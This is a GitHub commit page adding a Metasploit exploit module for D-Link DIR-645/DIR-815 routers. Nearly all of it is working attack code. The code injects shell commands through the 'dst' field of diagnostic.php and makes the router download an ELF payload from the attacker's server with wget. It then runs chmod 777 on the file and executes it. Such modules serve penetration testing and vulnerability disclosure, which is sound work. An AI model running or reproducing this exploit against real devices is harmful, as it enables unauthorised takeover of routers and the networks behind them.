Skip to content

Commit a160518

Browse files
author
jvazquez-r7
committed
Landing rapid7#1719, @m-1-k-3 dlink_diagnostic_exec_noauth exploit module
2 parents 522642a + 4f2e3f0 commit a160518

File tree

1 file changed

+225
-0
lines changed

1 file changed

+225
-0
lines changed
Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::Remote::HttpServer
15+
include Msf::Exploit::EXE
16+
include Msf::Exploit::FileDropper
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'DLink DIR-645 / DIR-815 diagnostic.php Command Execution',
21+
'Description' => %q{
22+
Some DLink Routers are vulnerable to OS Command injection in the web interface.
23+
On DIR-645 versions prior 1.03 authentication isn't needed to exploit it. On
24+
version 1.03 authentication is needed in order to trigger the vulnerability, which
25+
has been fixed definitely on version 1.04. Other DLink products, like DIR-300 rev B
26+
and DIR-600, are also affected by this vulnerability. Not every device includes
27+
wget which we need for deploying our payload. On such devices you could use the cmd
28+
generic payload and try to start telnetd or execute other commands. Since it is a
29+
blind os command injection vulnerability, there is no output for the executed
30+
command when using the cmd generic payload. A ping command against a controlled
31+
system could be used for testing purposes. This module has been tested successfully
32+
on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
33+
vulnerability.
34+
},
35+
'Author' =>
36+
[
37+
'Michael Messner <[email protected]>', # Vulnerability discovery and Metasploit module
38+
'juan vazquez' # minor help with msf module
39+
],
40+
'License' => MSF_LICENSE,
41+
'References' =>
42+
[
43+
[ 'OSVDB', '92144' ],
44+
[ 'BID', '58938' ],
45+
[ 'EDB', '24926' ],
46+
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-017' ]
47+
],
48+
'DisclosureDate' => 'Mar 05 2013',
49+
'Privileged' => true,
50+
'Platform' => ['linux','unix'],
51+
'Payload' =>
52+
{
53+
'DisableNops' => true
54+
},
55+
'Targets' =>
56+
[
57+
[ 'CMD',
58+
{
59+
'Arch' => ARCH_CMD,
60+
'Platform' => 'unix'
61+
}
62+
],
63+
[ 'Linux mipsel Payload',
64+
{
65+
'Arch' => ARCH_MIPSLE,
66+
'Platform' => 'linux'
67+
}
68+
],
69+
],
70+
'DefaultTarget' => 1
71+
))
72+
73+
register_options(
74+
[
75+
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
76+
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
77+
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60])
78+
], self.class)
79+
end
80+
81+
82+
def request(cmd,uri)
83+
begin
84+
res = send_request_cgi({
85+
'uri' => uri,
86+
'method' => 'POST',
87+
'vars_post' => {
88+
"act" => "ping",
89+
"dst" => "` #{cmd}`" }
90+
})
91+
return res
92+
rescue ::Rex::ConnectionError
93+
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
94+
return nil
95+
end
96+
end
97+
98+
def exploit
99+
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
100+
uri = '/diagnostic.php'
101+
102+
if target.name =~ /CMD/
103+
if not (datastore['CMD'])
104+
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
105+
end
106+
cmd = payload.encoded
107+
res = request(cmd,uri)
108+
if (!res)
109+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
110+
end
111+
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
112+
return
113+
end
114+
115+
#thx to Juan for his awesome work on the mipsel elf support
116+
@pl = generate_payload_exe
117+
@elf_sent = false
118+
119+
#
120+
# start our server
121+
#
122+
resource_uri = '/' + downfile
123+
124+
if (datastore['DOWNHOST'])
125+
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
126+
else
127+
#do not use SSL
128+
if datastore['SSL']
129+
ssl_restore = true
130+
datastore['SSL'] = false
131+
end
132+
133+
#we use SRVHOST as download IP for the coming wget command.
134+
#SRVHOST needs a real IP address of our download host
135+
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
136+
srv_host = Rex::Socket.source_address(rhost)
137+
else
138+
srv_host = datastore['SRVHOST']
139+
end
140+
141+
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
142+
143+
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
144+
start_service({'Uri' => {
145+
'Proc' => Proc.new { |cli, req|
146+
on_request_uri(cli, req)
147+
},
148+
'Path' => resource_uri
149+
}})
150+
151+
datastore['SSL'] = true if ssl_restore
152+
end
153+
154+
#
155+
# download payload
156+
#
157+
print_status("#{rhost}:#{rport} - Asking the DLink device to download #{service_url}")
158+
#this filename is used to store the payload on the device
159+
filename = rand_text_alpha_lower(8)
160+
161+
#not working if we send all command together -> lets take three requests
162+
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
163+
res = request(cmd,uri)
164+
if (!res)
165+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
166+
end
167+
168+
# wait for payload download
169+
if (datastore['DOWNHOST'])
170+
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Dlink device to download the payload")
171+
select(nil, nil, nil, datastore['HTTP_DELAY'])
172+
else
173+
wait_linux_payload
174+
end
175+
register_file_for_cleanup("/tmp/#{filename}")
176+
177+
#
178+
# chmod
179+
#
180+
cmd = "chmod 777 /tmp/#{filename}"
181+
print_status("#{rhost}:#{rport} - Asking the Dlink device to chmod #{downfile}")
182+
res = request(cmd,uri)
183+
if (!res)
184+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
185+
end
186+
187+
#
188+
# execute
189+
#
190+
cmd = "/tmp/#{filename}"
191+
print_status("#{rhost}:#{rport} - Asking the Dlink device to execute #{downfile}")
192+
res = request(cmd,uri)
193+
if (!res)
194+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
195+
end
196+
197+
end
198+
199+
# Handle incoming requests from the server
200+
def on_request_uri(cli, request)
201+
#print_status("on_request_uri called: #{request.inspect}")
202+
if (not @pl)
203+
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
204+
return
205+
end
206+
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
207+
@elf_sent = true
208+
send_response(cli, @pl)
209+
end
210+
211+
# wait for the data to be sent
212+
def wait_linux_payload
213+
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
214+
215+
waited = 0
216+
while (not @elf_sent)
217+
select(nil, nil, nil, 1)
218+
waited += 1
219+
if (waited > datastore['HTTP_DELAY'])
220+
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
221+
end
222+
end
223+
end
224+
225+
end

0 commit comments

Comments
 (0)